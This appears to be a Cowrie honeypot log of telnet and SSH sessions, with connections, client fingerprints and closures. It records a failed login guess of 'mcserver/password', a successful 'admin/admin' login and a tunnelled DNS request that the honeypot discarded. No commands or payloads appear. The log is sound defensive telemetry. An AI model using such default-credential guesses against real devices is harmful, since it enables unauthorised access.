{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":52988,"dst_ip":"159.203.135.109","dst_port":23,"session":"927979aedf40","protocol":"telnet","message":"New connection: 207.148.4.7:52988 (159.203.135.109:23) [session: 927979aedf40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:01.400896Z"}
{"eventid":"cowrie.session.closed","duration":31.262332916259766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:01.692745Z","src_ip":"207.148.4.7","session":"1c6405664d82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57744,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1f039a05876","protocol":"telnet","message":"New connection: 137.184.155.248:57744 (10.17.0.5:23) [session: d1f039a05876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:02.297563Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":52994,"dst_ip":"159.203.135.109","dst_port":23,"session":"26827a3a255e","protocol":"telnet","message":"New connection: 207.148.4.7:52994 (159.203.135.109:23) [session: 26827a3a255e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:02.552838Z"}
{"eventid":"cowrie.session.closed","duration":31.117650985717773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:02.757367Z","src_ip":"213.129.84.225","session":"88178bf3b3bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":46728,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8c34aaf441b","protocol":"ssh","message":"New connection: 58.186.20.101:46728 (10.17.0.5:22) [session: f8c34aaf441b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:02.827748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:02.833326Z","src_ip":"58.186.20.101","session":"f8c34aaf441b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:03.082561Z","src_ip":"58.186.20.101","session":"f8c34aaf441b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33076,"dst_ip":"159.203.135.109","dst_port":23,"session":"7141abe5494a","protocol":"telnet","message":"New connection: 213.129.84.225:33076 (159.203.135.109:23) [session: 7141abe5494a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:04.059619Z"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"password","message":"login attempt [mcserver/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:04.113127Z","src_ip":"58.186.20.101","session":"f8c34aaf441b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":53002,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9bbe65d1e09","protocol":"telnet","message":"New connection: 207.148.4.7:53002 (159.203.135.109:23) [session: f9bbe65d1e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:04.346459Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40615,"dst_ip":"159.203.135.109","dst_port":23,"session":"f881db25273a","protocol":"telnet","message":"New connection: 213.129.84.225:40615 (159.203.135.109:23) [session: f881db25273a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:04.663284Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50644,"dst_ip":"10.17.0.5","dst_port":23,"session":"f455cc06f155","protocol":"telnet","message":"New connection: 137.184.155.248:50644 (10.17.0.5:23) [session: f455cc06f155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:04.774694Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41710,"dst_ip":"159.203.135.109","dst_port":23,"session":"9755d5b6830b","protocol":"telnet","message":"New connection: 213.129.84.225:41710 (159.203.135.109:23) [session: 9755d5b6830b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:04.873308Z"}
{"eventid":"cowrie.session.closed","duration":30.772618532180786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:05.050629Z","src_ip":"213.129.84.225","session":"f8642af6d20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:05.367031Z","src_ip":"58.186.20.101","session":"f8c34aaf441b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.205645084381104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:06.510159Z","src_ip":"207.148.4.7","session":"6ab6d56827bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.726642847061157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:07.095355Z","src_ip":"213.129.84.225","session":"51099e8684dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.256837844848633,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:08.554231Z","src_ip":"137.184.155.248","session":"d1f039a05876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50648,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd3f811e6c9c","protocol":"telnet","message":"New connection: 137.184.155.248:50648 (10.17.0.5:23) [session: bd3f811e6c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:08.758915Z"}
{"eventid":"cowrie.session.closed","duration":30.40595555305481,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:09.057570Z","src_ip":"213.129.84.225","session":"87764da2c639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50662,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a60d66e933","protocol":"telnet","message":"New connection: 137.184.155.248:50662 (10.17.0.5:23) [session: 04a60d66e933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:09.139041Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":50990,"dst_ip":"159.203.135.109","dst_port":23,"session":"b61184ace19c","protocol":"telnet","message":"New connection: 207.148.4.7:50990 (159.203.135.109:23) [session: b61184ace19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:09.154563Z"}
{"eventid":"cowrie.session.closed","duration":30.874868869781494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:12.099498Z","src_ip":"207.148.4.7","session":"fa32d0d5332a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48214,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec7bcbbdece1","protocol":"telnet","message":"New connection: 213.129.84.225:48214 (159.203.135.109:23) [session: ec7bcbbdece1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:12.726402Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46788,"dst_ip":"159.203.135.109","dst_port":23,"session":"2423be540a37","protocol":"telnet","message":"New connection: 213.129.84.225:46788 (159.203.135.109:23) [session: 2423be540a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:13.410802Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51200,"dst_ip":"159.203.135.109","dst_port":23,"session":"22766a83f350","protocol":"telnet","message":"New connection: 213.129.84.225:51200 (159.203.135.109:23) [session: 22766a83f350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:13.417791Z"}
{"eventid":"cowrie.session.closed","duration":5.0197224617004395,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:13.778499Z","src_ip":"137.184.155.248","session":"bd3f811e6c9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28135323524475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:13.881515Z","src_ip":"207.148.4.7","session":"66a17bf91193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982057571411133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:14.053714Z","src_ip":"213.129.84.225","session":"407ce329b671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54482,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd88d35f119","protocol":"telnet","message":"New connection: 213.129.84.225:54482 (159.203.135.109:23) [session: dcd88d35f119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:14.153721Z"}
{"eventid":"cowrie.session.closed","duration":30.963303327560425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:17.127406Z","src_ip":"207.148.4.7","session":"79d8589740d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061952590942383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:17.362442Z","src_ip":"213.129.84.225","session":"3a2663721832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.518155574798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:18.375462Z","src_ip":"207.148.4.7","session":"c2dcaab31975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577258348464966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:19.118904Z","src_ip":"207.148.4.7","session":"11acb756ed64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18404269218445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:19.946551Z","src_ip":"207.148.4.7","session":"105551cd684c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53862,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2357e4018a7","protocol":"telnet","message":"New connection: 213.129.84.225:53862 (159.203.135.109:23) [session: a2357e4018a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:20.285308Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62150,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8761c9d502","protocol":"ssh","message":"New connection: 87.251.64.176:62150 (10.17.0.5:22) [session: 2b8761c9d502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:21.659485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:21.666212Z","src_ip":"87.251.64.176","session":"2b8761c9d502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:21.763167Z","src_ip":"87.251.64.176","session":"2b8761c9d502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":32882,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe8cbf155e1d","protocol":"telnet","message":"New connection: 213.129.84.225:32882 (159.203.135.109:23) [session: fe8cbf155e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:21.826103Z"}
{"eventid":"cowrie.session.closed","duration":31.602023124694824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:22.042638Z","src_ip":"213.129.84.225","session":"65a32777f578","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:22.055316Z","src_ip":"87.251.64.176","session":"2b8761c9d502","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:22.159427Z","session":"2b8761c9d502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.388080596923828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:22.167011Z","src_ip":"207.148.4.7","session":"7c59d130ed2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108778476715088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:22.172359Z","src_ip":"207.148.4.7","session":"a19d3122ff1c","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:22.259343Z","src_ip":"87.251.64.176","session":"2b8761c9d502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:22.360000Z","src_ip":"87.251.64.176","session":"2b8761c9d502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.977023601531982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:24.565277Z","src_ip":"207.148.4.7","session":"666675beda47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.467483043670654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:27.145881Z","src_ip":"213.129.84.225","session":"f5cfb2f96eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48783564567566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:28.405854Z","src_ip":"207.148.4.7","session":"e06e93151701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54710292816162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:29.129646Z","src_ip":"213.129.84.225","session":"ccaa2c294cb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.34241056442261,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:29.272954Z","src_ip":"137.184.155.248","session":"0e9675109a1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42424,"dst_ip":"159.203.135.109","dst_port":23,"session":"542b252046b0","protocol":"telnet","message":"New connection: 213.129.84.225:42424 (159.203.135.109:23) [session: 542b252046b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:30.064946Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43062,"dst_ip":"159.203.135.109","dst_port":23,"session":"175aa295b56a","protocol":"telnet","message":"New connection: 213.129.84.225:43062 (159.203.135.109:23) [session: 175aa295b56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:30.208811Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41434,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3db511572d","protocol":"telnet","message":"New connection: 137.184.155.248:41434 (10.17.0.5:23) [session: 6b3db511572d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:32.169893Z"}
{"eventid":"cowrie.session.closed","duration":30.824064254760742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:32.224835Z","src_ip":"207.148.4.7","session":"927979aedf40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40080,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bef96426be8","protocol":"telnet","message":"New connection: 137.184.155.248:40080 (10.17.0.5:23) [session: 3bef96426be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:32.882659Z"}
{"eventid":"cowrie.session.closed","duration":30.990922212600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:33.543629Z","src_ip":"207.148.4.7","session":"26827a3a255e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54244,"dst_ip":"159.203.135.109","dst_port":23,"session":"b36eefe38ec3","protocol":"telnet","message":"New connection: 213.129.84.225:54244 (159.203.135.109:23) [session: b36eefe38ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:33.768676Z"}
{"eventid":"cowrie.session.closed","duration":30.995323181152344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:35.054835Z","src_ip":"213.129.84.225","session":"7141abe5494a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463536024093628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:35.126710Z","src_ip":"213.129.84.225","session":"f881db25273a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025933027267456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:35.372285Z","src_ip":"207.148.4.7","session":"f9bbe65d1e09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669827222824097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:35.543031Z","src_ip":"213.129.84.225","session":"9755d5b6830b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39054,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff6c45f671b","protocol":"telnet","message":"New connection: 213.129.84.225:39054 (159.203.135.109:23) [session: cff6c45f671b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:35.563222Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45248,"dst_ip":"159.203.135.109","dst_port":23,"session":"836355182519","protocol":"telnet","message":"New connection: 213.129.84.225:45248 (159.203.135.109:23) [session: 836355182519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:36.972844Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46700,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6cfd2ba4963","protocol":"telnet","message":"New connection: 213.129.84.225:46700 (159.203.135.109:23) [session: a6cfd2ba4963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:37.286807Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51470,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a9459d7c304","protocol":"telnet","message":"New connection: 213.129.84.225:51470 (159.203.135.109:23) [session: 5a9459d7c304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:38.362875Z"}
{"eventid":"cowrie.session.closed","duration":31.600425481796265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:40.754868Z","src_ip":"207.148.4.7","session":"b61184ace19c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.332256078720093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:43.058541Z","src_ip":"213.129.84.225","session":"ec7bcbbdece1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40012,"dst_ip":"159.203.135.109","dst_port":23,"session":"adbb26616515","protocol":"telnet","message":"New connection: 213.129.84.225:40012 (159.203.135.109:23) [session: adbb26616515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:43.098894Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46010,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc928e8b14b","protocol":"telnet","message":"New connection: 213.129.84.225:46010 (159.203.135.109:23) [session: abc928e8b14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:43.273305Z"}
